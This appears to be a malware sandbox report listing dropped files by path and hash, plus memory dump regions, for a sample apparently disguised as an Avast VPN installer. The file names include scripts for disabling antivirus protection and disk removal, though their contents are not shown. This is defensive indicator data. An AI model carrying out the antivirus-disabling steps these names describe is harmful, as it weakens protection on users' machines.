1e9338d56db7ded386878eab7bb44b8934ab1bc7

SHA256
34ad9bb80fe8bf28171e671228eb5b64a55caa388c31cb8c0df77c0136735891

SHA512
583d0859d29145dfc48287c5a1b459e5db4e939624bd549ff02c61eae8a0f31fc96a509f3e146200cdd4c93b154123e5adfbfe01f7d172db33968155189b5511

Download Submit
C:\ProgramData\xOUvu\7z.dll
MD5
72491c7b87a7c2dd350b727444f13bb4

SHA1
1e9338d56db7ded386878eab7bb44b8934ab1bc7

SHA256
34ad9bb80fe8bf28171e671228eb5b64a55caa388c31cb8c0df77c0136735891

SHA512
583d0859d29145dfc48287c5a1b459e5db4e939624bd549ff02c61eae8a0f31fc96a509f3e146200cdd4c93b154123e5adfbfe01f7d172db33968155189b5511

Download Submit
C:\ProgramData\xOUvu\7z.dll
MD5
72491c7b87a7c2dd350b727444f13bb4

SHA1
1e9338d56db7ded386878eab7bb44b8934ab1bc7

SHA256
34ad9bb80fe8bf28171e671228eb5b64a55caa388c31cb8c0df77c0136735891

SHA512
583d0859d29145dfc48287c5a1b459e5db4e939624bd549ff02c61eae8a0f31fc96a509f3e146200cdd4c93b154123e5adfbfe01f7d172db33968155189b5511

Download Submit
C:\ProgramData\xOUvu\7z.dll
MD5
72491c7b87a7c2dd350b727444f13bb4

SHA1
1e9338d56db7ded386878eab7bb44b8934ab1bc7

SHA256
34ad9bb80fe8bf28171e671228eb5b64a55caa388c31cb8c0df77c0136735891

SHA512
583d0859d29145dfc48287c5a1b459e5db4e939624bd549ff02c61eae8a0f31fc96a509f3e146200cdd4c93b154123e5adfbfe01f7d172db33968155189b5511

Download Submit
C:\ProgramData\xOUvu\7z.exe
MD5
619f7135621b50fd1900ff24aade1524

SHA1
6c7ea8bbd435163ae3945cbef30ef6b9872a4591

SHA256
344f076bb1211cb02eca9e5ed2c0ce59bcf74ccbc749ec611538fa14ecb9aad2

SHA512
2c7293c084d09bc2e3ae2d066dd7b331c810d9e2eeca8b236a8e87fdeb18e877b948747d3491fcaff245816507685250bd35f984c67a43b29b0ae31ecb2bd628

Download Submit
C:\ProgramData\xOUvu\7z.exe
MD5
619f7135621b50fd1900ff24aade1524

SHA1
6c7ea8bbd435163ae3945cbef30ef6b9872a4591

SHA256
344f076bb1211cb02eca9e5ed2c0ce59bcf74ccbc749ec611538fa14ecb9aad2

SHA512
2c7293c084d09bc2e3ae2d066dd7b331c810d9e2eeca8b236a8e87fdeb18e877b948747d3491fcaff245816507685250bd35f984c67a43b29b0ae31ecb2bd628

Download Submit
C:\ProgramData\xOUvu\7z.exe
MD5
619f7135621b50fd1900ff24aade1524

SHA1
6c7ea8bbd435163ae3945cbef30ef6b9872a4591

SHA256
344f076bb1211cb02eca9e5ed2c0ce59bcf74ccbc749ec611538fa14ecb9aad2

SHA512
2c7293c084d09bc2e3ae2d066dd7b331c810d9e2eeca8b236a8e87fdeb18e877b948747d3491fcaff245816507685250bd35f984c67a43b29b0ae31ecb2bd628

Download Submit
C:\ProgramData\xOUvu\7z.exe
MD5
619f7135621b50fd1900ff24aade1524

SHA1
6c7ea8bbd435163ae3945cbef30ef6b9872a4591

SHA256
344f076bb1211cb02eca9e5ed2c0ce59bcf74ccbc749ec611538fa14ecb9aad2

SHA512
2c7293c084d09bc2e3ae2d066dd7b331c810d9e2eeca8b236a8e87fdeb18e877b948747d3491fcaff245816507685250bd35f984c67a43b29b0ae31ecb2bd628

Download Submit
C:\ProgramData\xOUvu\DisableOAVProtection.bat
MD5
ed77c2b2866fc09850a317f2620f4f9c

SHA1
ed1d7485a1111bd553ffe81927260652718a1c39

SHA256
763c290bbc1bfaedb53c909a63453d88204680ff6b5e50d7c68b14accc706c17

SHA512
4ed12352142c38750656780acf836805f3190a21aeab117e1c62fa06cf54920754c598daba3e02a981b6440261ce211e5717f6f1183cfebf6c8805d8201fa0e2

Download Submit
C:\ProgramData\xOUvu\DiskRemoval.bat
MD5
0f00552cee3a31dc4e8adc2738ca6d76

SHA1
85f0353b58b6749eee6b06101b05db242d44d0c2

SHA256
1094424ae118bb1060b5f4057c6b1d8b2eef2213bab3cf2b0a2cc6a4009552d8

SHA512
137c48422710fc898cfc1dd5f70f8fe2a505de030594c732255de62c73b22305acdd5340ff5a49fa8ddc3af5285f5a970158e53d0b74f9728ec0844e2587d835

Download Submit
C:\ProgramData\xOUvu\MMF.vbs
MD5
62c210400fef1cb41efa4c8b2c963964

SHA1
fa471dcf721b5f61a8794a75e3a9226e79b3ec80

SHA256
ac5fa9691beee8045bc5b4e4ede4816339cbef901f4d7c83f70e64e8c5f10d10

SHA512
64d99cd6a739bee853820172b24408173c4799f6c61037ad212cb56434fba7f014f58b2f88bcd209fdfd5976a183cd3d91588fc8f274fced444e726cf8e25d5a

Download Submit
C:\ProgramData\xOUvu\extracted\file_10.zip
MD5
653254d9174e6a9e34515f920faaa4fa

SHA1
1655d6e910b8ea9547487548e9862e905d37687f

SHA256
162d7e27f22836781803301c9539a66381ceab682d18275422742009a057a6e6

SHA512
418f842d008c3c09b6df65f6bf90e777cf11286a1fda397bee1f24cc8f4140c36c95b279f61d253f7f0e967bd4dac38f096b842312eefdb3750cfef26610986c

Download Submit
C:\ProgramData\xOUvu\extracted\file_11.zip
MD5
6a7e461229c7336211c2a15b8cb08a98

SHA1
93c2a8e2397af9a1c5c2815220124b5826593d69

SHA256
8f554be2e689068002d244c93c6712fa522e463ebad2882eef7ee7062abc6568

SHA512
52be50bae32d8be39d2fe54b88093f17ade38d8e256c50a3940cf2c565b4e855960b3a56f36459382adc93e1614367a23d3dea5f027fcbbe5871c414a35cac9a

Download Submit
C:\ProgramData\xOUvu\extracted\file_9.zip
MD5
2b287fed259ccec9b10a6d9048784794

SHA1
6f4935e26ed3ff4b6b138be4d040457632de6bb8

SHA256
6d40b258ebbf62639d1254ac00d38dbf7df044c1ae8e7ce0a90f2dfcbdb6d102

SHA512
166782f9ee9d46053b66a8d648f91cef3bfb3c370c5d13244beefeb6485521088264425309a68ae557b718cfe771f6ac592df67f50a4dcdb220f5c68546b8d73

Download Submit
C:\ProgramData\xOUvu\file.bin
MD5
897c2da4873706af1dd7e95204b8f82c

SHA1
36ef68962c416f3f627d04fdd6a784c4e9b4df37

SHA256
575e2af2e82f7a31e6a2dd0968acbb30d190da22e7935fe718e725cc95843123

SHA512
ae74bb521ddfe33d12c58448daf8191fa05828bf72ae85b226ed99f6ca5c6418d8f87d10532b8bbee8686a3967eef53b1b8565b5278018f40ab273b91dc621ec

Download Submit
C:\ProgramData\xOUvu\main.bat
MD5
87d5210ddd66fe8843cd702ee78b1933

SHA1
f6faf81c8cae28f42ee7e120cf80cba42640e13e

SHA256
b41cfe7095479b54da9913d28fff26a0f5ec916aba826ccd8effb616d9d58a58

SHA512
5c2169c8487f60bfa10dc17d9fd93e2105ea1e7f0d1a22fd8207bd9dd814af6af934206cfe24f6f4ab77324468a9e63796588f52fd78246279c42347bd82f766

Download Submit
C:\Users\Admin\AppData\Local\Temp\is-CJJK6.tmp\5e0e25bc05364316943ad352acb3b502ed6c0052093967e3a10dcbdb5fcdf17e.tmp
MD5
78de2cc886a53e4445ad82a3c80c3e9d

SHA1
57222f63b9b76d1412a81093e8bf1884482c887c

SHA256
92ecc5eca7d2f1e0ce3edeffdafa4d32ab4179de9ce214ae6e83500b4ddb46a7

SHA512
1a3a5d7f47fb477a1d1360a3822785892bd58312569074c51f26221b3b51c931336f2b3f5fc5ec87035405ae9f0ff2f344233d85763f18ac269ddc4ab226d8e5

Download Submit
C:\Users\Admin\AppData\Local\Temp\is-I6DCU.tmp\avastvpn.tmp
MD5
78de2cc886a53e4445ad82a3c80c3e9d

SHA1
57222f63b9b76d1412a81093e8bf1884482c887c

SHA256
92ecc5eca7d2f1e0ce3edeffdafa4d32ab4179de9ce214ae6e83500b4ddb46a7

SHA512
1a3a5d7f47fb477a1d1360a3822785892bd58312569074c51f26221b3b51c931336f2b3f5fc5ec87035405ae9f0ff2f344233d85763f18ac269ddc4ab226d8e5

Download Submit
C:\Users\Admin\AppData\Local\Temp\is-L4TG5.tmp\_isetup\_iscrypt.dll
MD5
a69559718ab506675e907fe49deb71e9

SHA1
bc8f404ffdb1960b50c12ff9413c893b56f2e36f

SHA256
2f6294f9aa09f59a574b5dcd33be54e16b39377984f3d5658cda44950fa0f8fc

SHA512
e52e0aa7fe3f79e36330c455d944653d449ba05b2f9abee0914a0910c3452cfa679a40441f9ac696b3ccf9445cbb85095747e86153402fc362bb30ac08249a63

Download Submit
C:\Users\Admin\AppData\Local\Temp\is-OO3DO.tmp\_isetup\_iscrypt.dll
MD5
a69559718ab506675e907fe49deb71e9

SHA1
bc8f404ffdb1960b50c12ff9413c893b56f2e36f

SHA256
2f6294f9aa09f59a574b5dcd33be54e16b39377984f3d5658cda44950fa0f8fc

SHA512
e52e0aa7fe3f79e36330c455d944653d449ba05b2f9abee0914a0910c3452cfa679a40441f9ac696b3ccf9445cbb85095747e86153402fc362bb30ac08249a63

Download Submit
C:\Windows\Temp\asw-0935a736-c995-4b4b-832b-75c95d57483f\common\icarus.exe
MD5
07d6eba21be98b66b0a4e4052242320b

SHA1
b600c77a2399905e07caec01323088567bb89857

SHA256
38f144a2f946830dae836a91529e6e009928078ba42db93c125e64458fc552d8

SHA512
89c967830ae75f43f22dd62c24aeef053d8be444b89d5fdbc7767e201027afca77fdb92df13e12b59f3a73fbb61028ffeef2554bc0fb289fa16fd31f41b534b1

Download Submit
C:\Windows\Temp\asw-0935a736-c995-4b4b-832b-75c95d57483f\common\icarus.exe
MD5
07d6eba21be98b66b0a4e4052242320b

SHA1
b600c77a2399905e07caec01323088567bb89857

SHA256
38f144a2f946830dae836a91529e6e009928078ba42db93c125e64458fc552d8

SHA512
89c967830ae75f43f22dd62c24aeef053d8be444b89d5fdbc7767e201027afca77fdb92df13e12b59f3a73fbb61028ffeef2554bc0fb289fa16fd31f41b534b1

Download Submit
C:\Windows\Temp\asw-0935a736-c995-4b4b-832b-75c95d57483f\common\icarus_ui.exe
MD5
c354a3a2fb51f852b4492172d3552ec3

SHA1
b4fa7eeffa9db1c648fa633899d542ea204cebd9

SHA256
a1547ff4bc27f8754cd38b932cbc0ba4f13ff1b2a9802f2650d8ccd476c024cc

SHA512
3ff0cd20976dafbac20ee3b24b6214c7d00b26e8d622ecd52cbbdf18de5ff7233be517b1810ce58b0c1b810422bc4ac693a02f4ef952b0364b4d9f56d8b59d39

Download Submit
C:\Windows\Temp\asw-0935a736-c995-4b4b-832b-75c95d57483f\common\icarus_ui.exe
MD5
c354a3a2fb51f852b4492172d3552ec3

SHA1
b4fa7eeffa9db1c648fa633899d542ea204cebd9

SHA256
a1547ff4bc27f8754cd38b932cbc0ba4f13ff1b2a9802f2650d8ccd476c024cc

SHA512
3ff0cd20976dafbac20ee3b24b6214c7d00b26e8d622ecd52cbbdf18de5ff7233be517b1810ce58b0c1b810422bc4ac693a02f4ef952b0364b4d9f56d8b59d39

Download Submit
C:\Windows\Temp\asw-0935a736-c995-4b4b-832b-75c95d57483f\common\product-info.xml
MD5
17ab7025213745817e4b1b1ac17fb19c

SHA1
679765960ae9375942b33677ccb2b8aed9bc7303

SHA256
858aa5931cda4f1336176187c3c7788458c9eef88fd819b33a1b4244842e1b3e

SHA512
7a615b50f6902114421098fa3303cfd772176399e382c77623e83765df81ca70d0d5fd2b2fcc221dac8dd4905dbd1a5c6ee99acad119fc9455efa3cd0ee75316

Download Submit
C:\Windows\Temp\asw-0935a736-c995-4b4b-832b-75c95d57483f\ecoo.edat
MD5
1be370773525ebbdc9f71b3c8da89204

SHA1
85a9e33d02a930734b412657d3214625d48b20bc

SHA256
bc4c21eaf8f6f69a038ba1225ab46a53de33f690c44aa674dd01251a81567461

SHA512
56993804ca3495729e393987712cc09d4ac20fb8987c8104b1ac901a18f72cb50e58779f9abb9e9149385eddbbc154aefdee511754fabe2e56035eecb7902684

Download Submit
C:\Windows\Temp\asw-0935a736-c995-4b4b-832b-75c95d57483f\icarus-info.xml
MD5
c221ee7680f0be38646a1f92227771a1

SHA1
0bf7e5dc2b5095d55c255e52efddc8e3402d0c58

SHA256
79e327597215ea8ff563ca4a894aed7bcc41231b207ebecfce477683d65d99d3

SHA512
2f8caa24f9a0e11616cac4654a1df503ca4c84c14da5f912c1964e3829e8aa8b9b6e54e366ef37e166c7c883534a9975026999c31378a22d875a2b29e2f7761f

Download Submit
memory/796-255-0x0000000000410000-0x00000000004A3000-memory.dmp

Filesize
588KB

Download
memory/796-249-0x000000000047C000-0x0000000000498000-memory.dmp

Filesize
112KB

Download
memory/796-250-0x0000000000410000-0x00000000004A3000-memory.dmp

Filesize
588KB

Download
memory/796-253-0x000000000047C000-0x0000000000498000-memory.dmp

Filesize
112KB

Download
memory/1408-242-0x0000000000400000-0x0000000000493000-memory.dmp

Filesize
588KB

Download
memory/1408-244-0x0000000000400000-0x0000000000493000-memory.dmp

Filesize
588KB

Download
memory/1408-243-0x0000000000400000-0x0000000000493000-memory.dmp

Filesize
588KB

Download
memory/1592-130-0x0000000000400000-0x00000000004CC000-memory.dmp

Filesize
816KB

Download
memory/1592-133-0x0000000000400000-0x00000000004CC000-memory.dmp

Filesize
816KB

Download
memory/2128-226-0x0000000074EC0000-0x0000000074FB0000-memory.dmp

Filesize
960KB

Download
memory/2128-257-0x0000000074EC0000-0x0000000074FB0000-memory.dmp

Filesize
960KB

Download
memory/2128-240-0x00000000053C0000-0x0000000005964000-memory.dmp

Filesize
5.6MB

Download
memory/2128-260-0x0000000074EC0000-0x0000000074FB0000-memory.dmp

Filesize
960KB

Download
memory/2128-239-0x00000000749E0000-0x0000000074A69000-memory.dmp

Filesize
548KB

Download
memory/2128-252-0x0000000074EC0000-0x0000000074FB0000-memory.dmp

Filesize
960KB

Download
memory/2128-236-0x00000000721B0000-0x0000000072960000-memory.dmp

Filesize
7.7MB

Download
memory/2128-238-0x0000000005460000-0x00000000054A4000-memory.dmp

Filesize
272KB

Download
memory/2128-246-0x00000000053C0000-0x0000000005964000-memory.dmp

Filesize
5.6MB

Download
memory/2128-261-0x0000000074EC0000-0x0000000074FB0000-memory.dmp

Filesize
960KB

Download
memory/2128-262-0x0000000074EC0000-0x0000000074FB0000-memory.dmp

Filesize
960KB

Download
memory/2128-237-0x0000000000650000-0x0000000000BFA000-memory.dmp

Filesize
5.7MB

Download
memory/2128-259-0x0000000074EC0000-0x0000000074FB0000-memory.dmp

Filesize
960KB

Download
memory/2128-258-0x0000000074EC0000-0x0000000074FB0000-memory.dmp

Filesize
960KB

Download
memory/2128-235-0x0000000000650000-0x0000000000BFA000-memory.dmp

Filesize
5.7MB

Download
memory/2128-225-0x0000000074EC0000-0x0000000074FB0000-memory.dmp

Filesize
960KB

Download
memory/2128-224-0x0000000074EC0000-0x0000000074FB0000-memory.dmp

Filesize
960KB

Download
memory/2128-254-0x0000000074EC0000-0x0000000074FB0000-memory.dmp

Filesize
960KB

Download
memory/2128-227-0x0000000074EC0000-0x0000000074FB0000-memory.dmp

Filesize
960KB

Download
memory/2128-228-0x0000000074EC0000-0x0000000074FB0000-memory.dmp

Filesize
960KB

Download
memory/2128-229-0x0000000074EC0000-0x0000000074FB0000-memory.dmp

Filesize
960KB

Download
memory/2128-230-0x0000000074EC0000-0x0000000074FB0000-memory.dmp

Filesize
960KB

Download
memory/2128-231-0x0000000074EC0000-0x0000000074FB0000-memory.dmp

Filesize
960KB

Download
memory/2276-134-0x0000000000840000-0x0000000000841000-memory.dmp

Filesize
4KB

Download
memory/2500-145-0x0000000000840000-0x0000000000841000-memory.dmp

Filesize
4KB

Download
memory/2504-197-0x0000000074EC0000-0x0000000074FB0000-memory.dmp

Filesize
960KB

Download
memory/2504-223-0x0000000008F70000-0x0000000008F92000-memory.dmp

Filesize
136KB

Download
memory/2504-222-0x00000000096F0000-0x0000000009C1C000-memory.dmp

Filesize
5.2MB

Download
memory/2504-221-0x0000000008FF0000-0x00000000091B2000-memory.dmp

Filesize
1.8MB

Download
memory/2504-241-0x00000000092D0000-0x00000000092F2000-memory.dmp

Filesize
136KB

Download
memory/2504-220-0x0000000007F30000-0x0000000007F96000-memory.dmp

Filesize
408KB

Download
memory/2504-219-0x0000000005470000-0x0000000005471000-memory.dmp

Filesize
4KB

Download
memory/2504-245-0x0000000074EC0000-0x0000000074FB0000-memory.dmp

Filesize
960KB

Download
memory/2504-218-0x0000000007B40000-0x0000000007BD2000-memory.dmp

Filesize
584KB

Download
memory/2504-217-0x0000000007FF0000-0x0000000008594000-memory.dmp

Filesize
5.6MB

Download
memory/2504-216-0x00000000052B0000-0x000000000534C000-memory.dmp

Filesize
624KB

Download
memory/2504-215-0x00000000721B0000-0x0000000072960000-memory.dmp

Filesize
7.7MB

Download
memory/2504-214-0x0000000000D40000-0x000000000127C000-memory.dmp

Filesize
5.2MB

Download
memory/2504-205-0x0000000074EC0000-0x0000000074FB0000-memory.dmp

Filesize
960KB

Download
memory/2504-204-0x0000000074EC0000-0x0000000074FB0000-memory.dmp

Filesize
960KB

Download
memory/2504-203-0x0000000074EC0000-0x0000000074FB0000-memory.dmp

Filesize
960KB

Download
memory/2504-199-0x0000000074EC0000-0x0000000074FB0000-memory.dmp

Filesize
960KB

Download
memory/2504-202-0x0000000074EC0000-0x0000000074FB0000-memory.dmp

Filesize
960KB

Download
memory/2504-200-0x0000000074EC0000-0x0000000074FB0000-memory.dmp

Filesize
960KB

Download
memory/2504-198-0x0000000074EC0000-0x0000000074FB0000-memory.dmp

Filesize
960KB

Download
memory/4100-138-0x0000000000400000-0x00000000004CC000-memory.dmp

Filesize
816KB

Download
memory/4100-141-0x0000000000400000-0x00000000004CC000-memory.dmp

Filesize
816KB

Download